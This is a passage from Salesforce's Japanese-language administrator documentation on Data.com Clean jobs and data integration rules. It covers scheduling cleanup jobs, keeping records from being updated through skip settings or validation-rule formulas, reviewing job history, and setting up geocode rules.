• 取引先、取引先責任者、およびリードの項目履歴管理を設定する。項目履歴管理によって、項目の値への
変更を識別し、変更者と変更日時を追跡できます。項目履歴管理を使用する場合、[取引先履歴]、[取引先
責任者履歴]、[リード履歴] 関連リストをそれらのオブジェクトのそれぞれのページレイアウトに必ず追加
します。

• ジョブは、個人取引先レコードを処理しません。
• 「取引先の会社情報」データインテグレーションルールは、クリーンアップジョブと競合します。この競

合を回避するには、「会社情報データインテグレーションルールの設定に関する考慮事項」を参照してく
ださい。

関連トピック:

Data.com Clean の設定
Data.com クリーンアップジョブの設定
取引先マッチングサービスの選択に関するガイドライン

Data.com クリーンアップジョブのスケジュール設定

エディション

使用可能なインター
フェース: Salesforce Classic

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com クリーンアップ
ジョブをスケジュール設
定し、ジョブ履歴を表示
する
• 「アプリケーションの

カスタマイズ」

レコードのクリーンアップ状況を最新に保つには、レコードを Data.com と比較
する自動ジョブをスケジュール設定します。ジョブは、Data.com Clean ライセン
スのある組織のみが使用できます。
1. ジョブをスケジュール設定する前に、「Data.com クリーンアップジョブのス

ケジュールに関する考慮事項」を確認します。
2. [設定] から、[クイック検索] ボックスに「ジョブ」と入力し、[クリーンアッ

プ] セクションの [ジョブ] を選択します。
3. ジョブを実行する曜日を選択します。
4. 希望開始時刻を選択します。

メモ: ジョブは独立して実行されるため、正確な開始時間は変わる場合
があります。

5. [保存] をクリックします。

関連トピック:

Data.com Clean の設定
Data.com クリーンアップジョブの設定
Data.com クリーンアップジョブのスケジュールに関する考慮事項
Data.com クリーンアップジョブ履歴の確認
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Data.com Clean を使用した Salesforce 取引先レコードの完全同期のスケジュール設定

エディション

使用可能なインター
フェース: Salesforce Classic

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com クリーンアップ
ジョブをスケジュール設
定し、ジョブ履歴を表示
する
• 「アプリケーションの

カスタマイズ」

D&B DUNSRight™マッチングサービスを使用すると、取引先クリーンアップジョブ
を次に実行するときに、取引先レコードと Data.com の完全同期をスケジュール
設定できます。完全同期では、すべての取引先レコードが Data.com のレコード
と比較され、以前のジョブでは一致しなかったレコードの一致が検出されるこ
とがあります。
要求した完全同期の実行が完了すると、このオプションはオフになります。こ
のオプションをオンに戻して、30 日ごとに別の完全同期をスケジュール設定で
きます。完全同期の処理中、または完全同期の最後の実行以降の経過時間が示
されます。
1. [設定] から、[クイック検索]ボックスに「ジョブ」と入力し、Data.comの[ジョ

ブ] を選択します。
2. 完全同期を [オン] にするには、[次のジョブで完全同期] の横にあるボタンを

クリックします。
要求した完全同期の実行が完了すると、ボタンは [オフ] になります。

関連トピック:

Data.com Clean の設定
Data.com クリーンアップジョブの設定

Data.com Clean ジョブによるレコードの更新の回避

エディション

使用可能なエディション:
Salesforce Classic

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

自動ジョブの実行時に、個別の取引先レコード、取引先責任者レコード、およ
びリードレコードがData.comデータで更新されないようにすることができます。

スキップ Clean 状況を使用した Data.com Clean ジョブによるレコードの更新の
回避
[スキップ対象レコード] Data.com Cleanジョブスキップ設定を使用すると、[ク
リーンアップ状況] が スキップ のレコードはジョブによって更新されなくな
ります。ジョブでレコードを更新しないようにするには、この方法をお勧め
します。
カスタム項目および入力規則を使用した Data.com クリーンアップジョブによ
るレコードの更新の回避
カスタム項目を使用して、自動更新しないレコードを識別します。次に、そ
れらのレコードをスキップするようにジョブに指示する入力規則を作成します。

関連トピック:

Data.com クリーンアップジョブの設定
Data.com Clean の設定
Data.com Clean ジョブによってレコードを自動的に更新されないようにすることは可能ですか?
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スキップ  Clean 状況を使用した Data.com Clean ジョブによるレコードの更新の回避

エディション

使用可能なエディション:
Salesforce Classic

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

ジョブ設定を定義する
• 「アプリケーションの

カスタマイズ」

Apex クラスとトリガを作
成する
• 「Apex 開発」

[スキップ対象レコード] Data.com Clean ジョブスキップ設定を使用すると、[ク
リーンアップ状況] が スキップ のレコードはジョブによって更新されなくなり
ます。ジョブでレコードを更新しないようにするには、この方法をお勧めしま
す。
1. [設定] から、[クイック検索] ボックスに「設定」と入力し、[個人設定] を選

択します。
2. 取引先、取引先責任者、およびリードのジョブの [ジョブスキップ設定] から

[スキップ対象レコード] を選択します。
3. 設定を保存します。
4. ジョブで更新しないレコードの [クリーンアップ状況] を [スキップ] に設定

します。

ヒント: Salesforce API、データローダ、またはApexトリガを使用すると、
複数のレコードに対して [クリーンアップ状況] を設定できます。

5. レコードの更新時に スキップ レコードの [クリーンアップ状況] が変更され
ないようにするため、Apex トリガを作成します。
レコードが更新されるときに、このトリガによってレコードの[クリーンアッ
プ状況]はスキップに戻されます。これにより、ジョブでレコードが更新さ
れなくなります。

関連トピック:

カスタム項目および入力規則を使用した Data.com クリーンアップジョブによるレコードの更新の回避
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カスタム項目および入力規則を使用した Data.com クリーンアップジョブによるレコードの更新の回
避

エディション

使用可能なエディション:
Salesforce Classic

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

項目の入力規則を定義ま
たは変更する
• 「アプリケーションの

カスタマイズ」

項目の入力規則を表示す
る
• 「設定の参照」

カスタム項目を使用して、自動更新しないレコードを識別します。次に、それ
らのレコードをスキップするようにジョブに指示する入力規則を作成します。

重要: 自動更新を回避する入力規則を作成する場合は、次のベストプラク
ティスに留意してください。
入力規則では Data.com クリーンアップジョブのログにエントリおよび関連
メッセージが生成されますが、ユーザのジョブではその他のエントリおよ
びエラーが生成される場合があるため、ジョブのログを注意深く確認して
ください。

1. クリーンアップジョブで自動的に更新されないようにするレコードがある各
オブジェクトのカスタム項目を作成します。
次に、カスタム項目の定義方法の例を示します。

値または選択項目

チェックボックスデータ型

Data.com で自動更新しない項目表示ラベル

チェックなしデフォルト値

自動クリーンアップジョブによって、
一致する Data.com レコードの値で
項目が更新されないようにします。

説明

Data.com クリーンアップジョブによ
る自動項目更新からこのレコードを除
外します。

ヘルプテキスト

2. [Data.com Does Not Auto-Update (Data.com で自動更新を行わない)]  (または設定したカスタム項
目名) のあるレコードの自動更新をブロックするため、入力規則を作成します。
次に、各オブジェクトの入力規則の定義方法の例を示します。

値または選択項目

Block_autoupdate_from_Data_comルール名

レコードレベルで、自動クリーンアップジョブで項目
値が自動的に更新されないようにします。

説明

(あなたのカスタム項目 API 名 ) &&
($User.Alias = "autocln") && (ISCHANGED(

[エラー条件数式]  (取引先)

DunsNumber ) || ISCHANGED(
NumberOfEmployees ) || ISCHANGED(
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値または選択項目

AnnualRevenue ) || ISCHANGED( TickerSymbol
) || ISCHANGED( Website ) || ISCHANGED(
Industry ) || ISCHANGED( Ownership ) ||
ISCHANGED( BillingCity ) || ISCHANGED(
BillingCountry ) || ISCHANGED(
BillingState ) || ISCHANGED( BillingStreet
) || ISCHANGED( BillingPostalCode ) ||
ISCHANGED( Phone ) || ISCHANGED( Fax ) ||
ISCHANGED( Site ) || ISCHANGED( Tradestyle
) || ISCHANGED( YearStarted ) ||
ISCHANGED( Sic ) || ISCHANGED( SicDesc )
|| ISCHANGED( NaicsCode ) || ISCHANGED(
NaicsDesc ) || ISCHANGED( Description )
)

(あなたのカスタム項目 API 名 ) &&
($User.Alias = "autocln") && (ISCHANGED(

[エラー条件数式]  (取引先責任者)

Title ) || ISCHANGED( Email ) ||
ISCHANGED( Phone ) || ISCHANGED(
MailingStreet ) || ISCHANGED( MailingCity
) || ISCHANGED( MailingState ) ||
ISCHANGED( MailingCountry ) || ISCHANGED(
MailingPostalCode ) )

(あなたのカスタム項目 API 名 ) &&
($User.Alias = "autocln") && (ISCHANGED(

[エラー条件数式]  (リード)

Company ) || ISCHANGED( Title ) ||
ISCHANGED( Email ) || ISCHANGED( Phone
) || ISCHANGED( Street ) || ISCHANGED(
City ) || ISCHANGED( State ) ||
ISCHANGED( PostalCode ) || ISCHANGED(
Country ) || ISCHANGED(
NumberOfEmployees ) || ISCHANGED(
AnnualRevenue ) || ISCHANGED( Industry
) || ISCHANGED( CompanyDunsNumber ) )

このレコードは、Data.com クリーンアップジョブに
よる自動項目更新から除外されています。

エラーメッセージ

3. 自動更新しない各レコードを開き、[自動更新しない]  (または設定したカスタム項目名) を選択します。
自動ジョブを実行すると、更新されないレコードごとに、ジョブログに「This record has been

excluded from automated field updates from Data.com Clean jobs.」というメッセージが表
示されます。
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ヒント: データローダまたはカスタムトリガを使用すると、複数のレコードに対してこのチェックボッ
クスをオンにできます。

関連トピック:

カスタム項目の作成
入力規則の定義
スキップ Clean 状況を使用した Data.com Clean ジョブによるレコードの更新の回避

Data.com クリーンアップジョブ履歴の確認

エディション

使用可能なインター
フェース: Salesforce Classic

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com クリーンアップ
ジョブをスケジュール設
定し、ジョブ履歴を表示
する
• 「アプリケーションの

カスタマイズ」

Data.com クリーンアップジョブ履歴テーブルでは、現在のジョブを確認し、ジョ
ブのエラーログにアクセスできます。

重要: 「自動更新を行わない」入力規則を使用して、Data.com クリーンアッ
プジョブによって選択したレコードが自動更新されないようにしている場
合は、この入力規則のクリーンアップジョブログへの影響を必ず理解して
ください。この入力規則ではジョブログにエントリおよび関連メッセージ
が生成されますが、ユーザのジョブによってその他のエントリおよびエラー
が生成される場合があります。このため、ジョブログを注意深く確認して
ください。この入力規則は、Data.com レポートの AppExchange パッケージで
使用できます。

1. [設定] から、[クイック検索] ボックスに「ジョブ」と入力し、[ジョブ] を選
択します。

2. [クリーンアップジョブ履歴] セクションにはジョブの詳細が表示されます。
3. レコードの処理時にジョブでエラーが発生した場合は、[バッチエラー]また

は [エンティティエラー] 列のリンクをクリックして、ジョブログの .csv

ファイルをダウンロードします。
21 日間保存されます。

次は、テーブル列の定義です。

定義列ヘッダー

ジョブが実行された日付。日付

ジョブがジョブキューに送信された時刻。ジョブは独
立して実行されるため、この時刻はジョブが実行され
た正確な時刻ではない場合があります。

登録時刻

ジョブの種類 (取引先、D&B 企業、取引先責任者、ま
たはリード用)。
取引先ジョブには複数の種類があります。

ジョブ種別
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定義列ヘッダー

取引先 (Data.com マッチング): Data.com マッチング
サービスを使用して取引先レコードが照合されまし
た。
取引先 (DUNSRight マッチング): DUNSRight マッチン
グサービスを使用して取引先レコードが照合されまし
た。
取引先 (D-U-N-S Number ルックアップ): [D-U-N-S

番号]項目 (存在する場合) を使用して、取引先レコー
ドが再照合 (検索) されました。

ジョブの状況。
キュー: ジョブは実行待ちのキューに入っています。
この状況のジョブでは、[登録時刻] 列にダッシュ (–)

が表示されます。

ジョブの状況

準備: ジョブは実行の準備中です。
処理中: ジョブは処理中です。
完了: ジョブの実行が終了しました (エラーあり、また
はエラーなし)。
失敗: ジョブの実行が失敗しました。
中止: ジョブは実行前または実行中に中止されました。

ジョブで処理された Salesforce レコードの合計数。レコード数

ジョブでData.comレコードに一致したSalesforceレコー
ドの合計数。

一致

ジョブでData.comレコードに一致しなかった Salesforce

レコードの合計数。
不一致

Data.com で 無効 とマークされた Salesforce レコードの
件数。

無効

ジョブの実行中に発生したバッチエラーの合計数。
ダッシュは、エラーがないか、データがないことを示

バッチエラー

します。バッチエラーのジョブログが作成された場合
は、リンクをクリックし、.csv ファイルをダウンロー
ドして開きます。

ジョブの実行中に発生したエンティティエラーの合計
数。ダッシュは、エラーがないか、データがないこと

エンティティエラー

を示します。エンティティエラーのジョブログが作成
された場合は、リンクをクリックし、.csv ファイルを
ダウンロードして開きます。入力規則のエラーなどが
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定義列ヘッダー

原因でレコードの保存に失敗したため生成されたエン
ティティエラーの説明を確認できます。通常、エン
ティティエラーは入力規則のエラーまたは必要な項目
の違反の結果発生します。説明がある場合は、表示さ
れます。
ジョブの実行中にエラーが生成されたレコードの一意
の ID。レコードを開くには、Salesforce インスタンスの
URL に 15 桁の ID を追加します。例:
https://na1.salesforce.com/0013000000hKBTq.

関連トピック:

Data.com Clean の設定
Data.com クリーンアップジョブの設定

Data.com の互換性を確保するためのトリガおよびワークフロールールの確認

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

「アプリケーションのカスタマイズ」Data.com Clean を実装する

「アプリケーションのカスタマイズ」Data.com Prospector を実装する

「アプリケーションのカスタマイズ」データインテグレーションを実装する

「Apex 開発」トリガを定義する

「アプリケーションのカスタマイズ」ワークフロールールを定義する

Data.com で更新するオブジェクトに対してトリガまたはワークフロールールを使
用している組織の場合、レコードが更新されたときにユーザに予期しない結果
が生じないように、トリガおよびワークフローを確認して、これらを調整また
はスキップすることを検討してください。

メモ: この情報は、データインテグレーションおよび Data.com Clean に適用
されます。

1. Data.com によって更新されるオブジェクトに対してトリガを使用している場
合、オブジェクトの管理設定から [トリガ] に移動します。

2. 各トリガを開いて調べ、レコードの更新時にシステムまたはユーザに予期し
ない結果が生じないことを確認します。
1 つまたは 2 つのトリガで予期しない結果が生じることが判明したら、それ
らのトリガを調整します。

2118

組織のデータ品質の改善販売ツールの設定および管理



• クリーンアップジョブを使用している場合に、予期しない結果が生じる可能性のあるトリガを複数検出
したら、ジョブの実行時にトリガをスキップします。このオプションは、[クリーンアップ設定] ページ
で選択できます。[設定] から、[クイック検索] ボックスに「設定」と入力し、[クリーンアップ] の下の
[個人設定] を選択します。

• データインテグレーションを使用している場合に、予期しない結果が生じる可能性のあるトリガを複数
検出したら、データインテグレーションルールの実行時にトリガをスキップします。[設定] から、[ク
イック検索]ボックスに「データインテグレーションルール」と入力します。各ルールを選択して、[ルー
ル設定の編集] をクリックし、[トリガをスキップ] を選択し、[保存] をクリックします。

3. ワークフロールールを使用する場合は、[設定] から [クイック検索]ボックスに「ワークフロールール」と入
力し、[ワークフロールール] を選択します。

4. 各ワークフロールールを開いて調べ、レコードのクリーンアップ時にシステムまたはユーザに予期しない
結果が生じないことを確認します。
1 つまたは 2 つのワークフロールールで予期しない結果が生じることが判明したら、それらのルールを調整
します。
• クリーンアップジョブを使用している場合に、予期しない結果が生じる可能性のあるルールを複数検出

したら、ジョブの実行時にワークフロールールをスキップします。このオプションは、[クリーンアッ
プ設定] ページで選択できます。このオプションは、[クリーンアップ設定] ページで選択できます。[設
定] から、[クイック検索]ボックスに「設定」と入力し、[クリーンアップ] の下の [個人設定]を選択しま
す。

• データインテグレーションを使用している場合に、予期しない結果が生じる可能性のあるワークフロー
ルールを複数検出したら、データインテグレーションルールの実行時にワークフロールールをスキップ
します。[設定] から、[クイック検索]ボックスに「データインテグレーションルール」と入力します。各
ルールを選択して、[ルール設定の編集]をクリックし、[ワークフロールールをスキップ]を選択し、[保
存] をクリックします。

5. 使用しているすべてのトリガおよびワークフロールールを対象として、影響を受けるオブジェクトレコー
ドの結果を確認します。

例: 任意の方法でリードレコードが更新されるたびに、ToDo を作成して割り当てるトリガが組織にあると
します。クリーンアップジョブを使用してリードをクリーンアップすると、想定よりも多くの ToDo がユー
ザに割り当てられる可能性があります。そのため、レコードが手動で編集またはSalesforceユーザによって
クリーンアップされたときにのみ ToDo が作成されて割り当てられるようにトリガを調整します。[最終更
新者]項目を確認して、最後にレコードを更新したユーザを特定できます。最後にクリーンアップジョブ
によって更新されたレコードの場合、その項目に Data.com Cleanと表示され、ユーザによって更新さ
れたレコードの場合、ユーザの名と性が表示されます。

関連トピック:

会社情報データインテグレーションルールの設定に関する考慮事項
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Data.com Clean のリストビューの設定

エディション

使用可能なエディション:
Salesforce Classic

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

カスタムリストビューを
作成する
• リストに表示されてい

るレコードタイプに対
する「参照」

公開リストビューを作
成、編集、または削除す
る
• 「公開リストビューの

管理」

Data.com Cleanユーザがリストからレコードをクリーンアップする前に、[クリー
ンアップ状況] 項目を組織のリストビューに追加します。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

1. リストからクリーンアップするレコードのオブジェクトのタブ ([取引先]、[取
引先責任者]、または [リード]) をクリックします。

メモ: 取引先レコードをクリーンアップするために、組織で DUNSRight

マッチングを使用している場合、リストビューのクリーンアップは取引
先レコードには使用できません。

2. ドロップダウンからビューを選択し、[編集] をクリックします。
3. [選択可能な項目] リストをスクロールして [クリーンアップ状況]項目を見つ

け、[選択済みの項目] リストに追加します。
リストビューに [クリーンアップ] ボタンが自動的に追加されます。

関連トピック:

Salesforce Classic でのカスタムリストビューの作成
Data.com Clean の設定

データインテグレーションルールの設定
最新の情報は、ユーザが顧客との関係を維持し、有望なリードを追跡するのに役立ちます。データインテグ
レーションルールを設定することによって、ユーザが最新の取引先、取引先責任者、リードの情報を得られる
ようにします。

データインテグレーションルール
データインテグレーションルールは、データサービスによって提供され、そのサービスが Salesforce レコー
ドを更新する方法を制御するものです。ルールは、更新するレコードを検出する方法や、どの更新を実行
するかをデータサービスに指示します。また、ルールは、更新がトリガやワークフロールールなどのその
他の機能にどのように影響するかも制御します。
住所の地理コード情報の自動取得
地理コードを利用することは、営業チームとマーケティングチームが近隣の見込み客を検索し、テリトリー
とキャンペーンを割り当てるのに役立ちます。地理コードデータインテグレーションルールを使用すると、
取引先、取引先責任者、およびリードの住所の地理コードを自動的に取得できます。
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重要な会社情報を使用した取引先およびリードの自動更新
営業チームが簡単に最も有望なリードを追跡し、取引先をセグメント化し、テリトリーやキャンペーンを
計画し、顧客への理解を深められるようにします。会社情報ルールで、Dun & Bradstreet からの 100 項目を超
える会社、業種、および財務情報 (Data.com Clean の場合と同じ項目) にアクセスできます。
データインテグレーションルールの効果を調べるためのガイドライン
自分の組織にデータインテグレーションの効果がどの程度あるかを調べることができます。データインテ
グレーションルールの一致率が表示される [データインテグレーション総計値] ページを確認します。デー
タサービスのレコードと一致したレコードの割合が表示されます。レコードが一致すると、データサービ
スによって最新のデータに更新できます。
標準データインテグレーションルール
以下は、標準データインテグレーションルールの主要な詳細情報で、各ルールの動作や影響を受ける項目
などが示されています。
データインテグレーションの状況
データインテグレーションルールを有効にすると、レコードの更新状況が表示されます。この状況により、
レコードのデータがルールのデータサービスのデータと比較してどのような状態であるかが示されます。

データインテグレーションルール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

取引先の会社情報とリー
ドの会社情報のルールを
使用するには、Data.com
Premium Clean ライセンス
が必要です。

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

データインテグレーションルールは、データサービスによって提供され、その
サービスが Salesforce レコードを更新する方法を制御するものです。ルールは、
更新するレコードを検出する方法や、どの更新を実行するかをデータサービス
に指示します。また、ルールは、更新がトリガやワークフロールールなどのそ
の他の機能にどのように影響するかも制御します。

メモ: どのデータインテグレーションルールの使用にも Data.com ライセンス
が必要となるわけではありません。地理コードデータインテグレーション
ルールなど、Data.com によって提供される一部のルールは無料で使用でき
ます。また、サードパーティによって提供されるデータパッケージ内のデー
タサービスも Data.com ライセンスなしで使用できます。データインテグレー
ションルールは他の Data.com 機能とは独立していますが、一部のルールは
クリーンアップジョブなどの他の Data.com 機能と同じレコードを更新しま
す。

データインテグレーションルールによって、データサービスとデータサービス
が更新を行う方法が制御されます。
データサービス

各ルールは 1 つのデータサービスに関連付けられていますが、サービスは複数のルールを提供することが
できます。たとえば、地理コードデータサービスは、取引先を更新するための 1 つのルールと、取引先責
任者を更新するための別のルールを提供できます。

ルールの状態
ルールは無効であるか有効であるかのいずれかです。無効なルールは更新を実行しませんが、その設定を
更新することはできます。有効なルールの設定を更新することもできますが、変更を保存した後にデータ
サービスによってすべてのレコードの完全更新が行われます。
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Salesforce オブジェクト
データサービスが更新するオブジェクトです。たとえば、Data.com の「取引先の会社情報」ルールは取引
先オブジェクトのレコードを更新します。

照合の対応付け
データサービスがレコードを検出するために使用する条件です。条件は、データサービス内の項目とオブ
ジェクト内の項目の間の照合項目の対応付けとして保存されます。

更新の対応付け
データサービスが一致を検出した場合に更新する項目です。これらの項目は、データサービス内の項目と
オブジェクト内の項目の間の更新項目の対応付けとして保存されます。

永続的な更新
データインテグレーションルールは、レコードの追加時または変更時に自動的に更新を行うように設計さ
れています。

データ更新
有効なルールは、定期的にすべてのレコードを自動更新します。

トリガとワークフロールールの制御
更新後にトリガとワークフロールールをスキップするルールを設定できます。

最終更新データ
更新後にレコードの最終更新データがルールによって変更されないようにできます。

データインテグレーションルールを有効にすると、すぐに適用されます。既存のレコードで新しいデータが使
用可能かどうかが確認されます。新規レコードは、保存時にチェックされます。新しいデータが使用可能であ
る場合、レコードはデータインテグレーションルール設定に基づいて更新されます。

例: リードの住所の緯度と経度に基づいて、リードをテリトリーに割り当てるアプリケーションがあるに
もかかわらず、レコードには最新の緯度と経度のデータがないとします。この問題を解決するには、[リー
ド住所の地理コード] データインテグレーションルールを設定して有効化します。地理コード情報は、既
存のリードおよび新しいリードのすべてに自動的に追加されます。このルールの概要は、次のとおりで
す。

値属性

リード住所の地理コード名前

Data.com 地理情報データサービス

リードオブジェクト

[住所] 項目に関連付けられている、緯度、経度、
精度の項目。

更新される項目

• Latitude

• Longitude

• GeocodeAccuracy

メモ: これらの項目をページレイアウトに追
加することはできません。ただし、カスタム

2122

組織のデータ品質の改善販売ツールの設定および管理



値属性

数式項目を使用するか、Salesforce API をクエリ
して、項目を参照できます。

上書き項目の更新方法

はいルールが有効になったとき、または保存されたと
き、すべてのレコードを更新する

はいトリガをスキップ

はいワークフロールールをスキップ

はい最終更新情報を更新しない

関連トピック:

データインテグレーションルールの設定
標準データインテグレーションルール

住所の地理コード情報の自動取得

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

地理コードを利用することは、営業チームとマーケティングチームが近隣の見
込み客を検索し、テリトリーとキャンペーンを割り当てるのに役立ちます。地
理コードデータインテグレーションルールを使用すると、取引先、取引先責任
者、およびリードの住所の地理コードを自動的に取得できます。

重要: 地理コードは、Data.comテクノロジを使用してレコードに追加されま
す。ただし、この機能の使用に Data.com ライセンスは必要ありません。

地理コードデータインテグレーションルールの設定に関する考慮事項
Data.com 地理コードデータインテグレーションルールを使用して取引先、取
引先責任者、およびリードに地理コード情報を追加する前に、次の考慮事項
を確認してください。
地理コードデータインテグレーションルールの設定
数ステップで、Data.com地理コードデータインテグレーションルールを設定して有効化できます。設定後、
地理コードは自動的に既存の取引先、取引先責任者、およびリードに追加されます。新規取引先、取引先
責任者、およびリードには、保存時にこの情報が追加されます。
地理コードデータインテグレーションルールの設定に関するガイドライン
Data.com を使用してレコードに地理コード情報を自動的に追加する場合は、いくつかの重要なガイドライ
ンに従ってください。
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地理コード情報を使用したレコードの更新
地理コードデータインテグレーションルールは、取引先、取引先責任者、およびリードの住所の地理コー
ドを追加します。レコードの詳細ページから、更新状況を確認したり、レコードを手動で更新したりでき
ます。
地理コードがレコードに追加されたことの確認
地理コード項目は通常、レコードに表示されないため、いくつかの手順を実行して、Data.com データイン
テグレーションルールが地理コードを追加したことを確認する必要があります。
地理コード項目
地理コード情報では、経度、緯度、および精度評価を使用して場所を識別します。地理コード項目は、
Salesforce の取引先、取引先責任者、およびリードの標準住所で使用できます。地理コード項目はレコード
には表示されませんが、Salesforce API を使用して参照できます。

地理コードデータインテグレーションルールの設定に関する考慮事項

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Data.com地理コードデータインテグレーションルールを使用して取引先、取引先
責任者、およびリードに地理コード情報を追加する前に、次の考慮事項を確認
してください。

重要: 地理コードは、Data.comテクノロジを使用してレコードに追加されま
す。ただし、この機能の使用に Data.com Clean ライセンスは必要ありませ
ん。

• 地理コード情報がレコードに追加されるときに、次のアクションが実行され
ます。
– 地理コード情報項目の既存の値は上書きされます。
– SystemModStamp 項目は常に更新されます。この項目を使用するインテ

グレーションが影響を受けないことを確認します。
– デフォルトでは、LastModifiedDate 項目と LastModifiedById 項目は更新されません。このオプ

ションは、地理コードデータインテグレーションルール設定で変更できます。
• 地理コード情報はレコードには表示されません。ただし、Salesforce API を使用して表示できます。レコード

に地理コード情報項目を表示する数式を使用して、カスタム項目を作成することもできます。
• データインテグレーションルールに関連付けられた状況情報は、Sandbox にコピーしたり Sandbox からコピー

したりすることはできません。たとえば、本番組織で [リード住所の地理コード] データインテグレーショ
ンルールを有効化すると、地理コード情報が既存のすべてのリードに正常に追加されます。その結果、各
リードの [リード住所の地理コード] データインテグレーションルールの状況が [同期済み] になります。レ
コードのこの状況情報を Sandbox にコピーすることはできません。Sandbox の状況情報を取得するには、デー
タインテグレーションルールを有効化して Sandbox のレコードを処理します。

• 個人取引先は現在サポートされていません。

関連トピック:

地理コードデータインテグレーションルールの設定
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地理コードデータインテグレーションルールの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

データインテグレーショ
ンルールを設定して有効
化する
• 「アプリケーションの

カスタマイズ」

数ステップで、Data.com地理コードデータインテグレーションルールを設定して
有効化できます。設定後、地理コードは自動的に既存の取引先、取引先責任者、
およびリードに追加されます。新規取引先、取引先責任者、およびリードには、
保存時にこの情報が追加されます。

メモ: この情報は、データインテグレーションに適用され、Data.com Clean

には適用されません。

重要: 地理コードは、Data.comテクノロジを使用してレコードに追加されま
す。ただし、この機能の使用に Data.com Clean ライセンスは必要ありませ
ん。

1. [設定] から、[クイック検索]ボックスに「データインテグレーションルール」
と入力し、[データインテグレーションルール] を選択します。

2. 編集する地理コードデータインテグレーションルールの名前をクリックしま
す。「標準データインテグレーションルール」を参照してください。

3. データインテグレーションルール設定を確認します。

a. 設定を変更するには、[ルール設定の編集]をクリックし、変更を加えてから、[保存]をクリックします。
[このルールを有効化または保存した後にすべてのレコードを更新]が選択されている場合、地理コード
は既存のすべてのレコードに追加されます。新規レコードには、保存時に地理コードが追加されます。
既存の地理コード値は上書きされません。

b. 項目の対応付けを変更するには、[項目の対応付けの編集] をクリックします。
c. ルールを有効化するには、[有効化] をクリックします。ルールを無効化するには、[無効化] をクリック

します。

4. 地理コードルールのリストに戻るには、[リストに戻る: データインテグレーションルール] をクリックしま
す。
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5. このプロセスを、他の地理コードデータインテグレーションルールに対して繰り返します。
6. Salesforce Classic の場合、地理コードデータインテグレーションルールの更新状況を確認するには、[データ

インテグレーションルール] 関連リストを取引先、取引先責任者、およびリードのページレイアウトに追加
します (このステップは Lightning Experience では必要ありません)。

関連トピック:

地理コードデータインテグレーションルールの設定に関する考慮事項
地理コード情報を使用したレコードの更新
地理コードがレコードに追加されたことの確認
地理コード項目

地理コードデータインテグレーションルールの設定に関するガイドライン

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Data.comを使用してレコードに地理コード情報を自動的に追加する場合は、いく
つかの重要なガイドラインに従ってください。

重要: 地理コードは、Data.comテクノロジを使用してレコードに追加されま
す。ただし、この機能の使用に Data.com ライセンスは必要ありません。

• デフォルトでは、地理コードルールによってレコードを更新するときに、最
終変更情報は更新されません。最終変更情報に連動する自動プロセスがある
場合、地理コードルールによって更新が行われる場合には、それらのプロセ
スは実行されません。地理コードルールによって最終変更情報を更新するに
は、ルールの設定を編集し、[最後に変更された情報を維持]を選択解除して、
[保存] をクリックします。

• ユーザが地理コードルールを使用してレコードに手動で地理コードを追加で
きるようにするには、地理コード項目と精度項目に項目レベルセキュリティを設定します。

関連トピック:

地理コードデータインテグレーションルールの設定
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地理コード情報を使用したレコードの更新

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

地理コードデータインテ
グレーションルールを使
用して取引先を更新する
• 取引先に対する「編

集」

地理コードデータインテ
グレーションルールを使
用して取引先責任者を更
新する
• 取引先責任者に対する

「編集」

地理コードデータインテ
グレーションルールを使
用してリードを更新する
• リードに対する「編

集」

地理コードデータインテグレーションルールは、取引先、取引先責任者、およ
びリードの住所の地理コードを追加します。レコードの詳細ページから、更新
状況を確認したり、レコードを手動で更新したりできます。

重要: 地理コードは、Data.comテクノロジを使用してレコードに追加されま
す。ただし、この機能の使用に Data.com Clean ライセンスは必要ありませ
ん。

1. 確認するレコードを開きます。
2. レコードの地理コードデータインテグレーションルールの更新状況を確認し

ます。たとえば、取引先の請求先住所を確認する場合、「取引先住所(請求
先) の地理コード」データインテグレーションルールの更新状況を確認しま
す。Salesforce Classic では、この状況は [データインテグレーションルール] 関
連リストにあります。(この関連リストが見つからない場合は、ページレイア
ウトに追加するようにSalesforceシステム管理者に依頼してください。) Lightning

Experience では、[インテグレーション状況を確認] クイックアクションをク
リックします。

